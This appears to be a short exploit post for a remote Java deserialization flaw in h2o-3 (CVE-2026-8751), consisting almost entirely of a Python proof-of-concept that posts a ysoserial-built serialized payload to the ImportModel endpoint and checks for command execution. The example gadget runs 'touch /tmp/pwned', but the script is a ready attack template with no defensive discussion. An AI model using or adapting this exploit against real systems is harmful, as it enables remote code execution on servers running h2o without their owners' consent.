CVE-2026-8751 h2o-3远程反序列化漏洞

import requests import os # Target URL (Example path, adjust based on actual deployment) target_url = "http://127.0.0.1:54321/3/ImportModel" # In a real scenario, generate a Java serialized payload using ysoserial # Example: java -jar ysoserial.jar CommonsCollections5 'touch /tmp/pwned' > payload.bin # Read the malicious serialized object with open('payload.bin', 'rb') as f: malicious_data = f.read() # Headers to mimic the expected request headers = { "Content-Type": "application/octet-stream", "Content-Length": str(len(malicious_data)) } try: # Send the payload to the vulnerable endpoint response = requests.post(target_url, data=malicious_data, headers=headers) if response.status_code == 200: print("[+] Payload sent successfully. Check if the command was executed.") else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[!] An error occurred: {e}")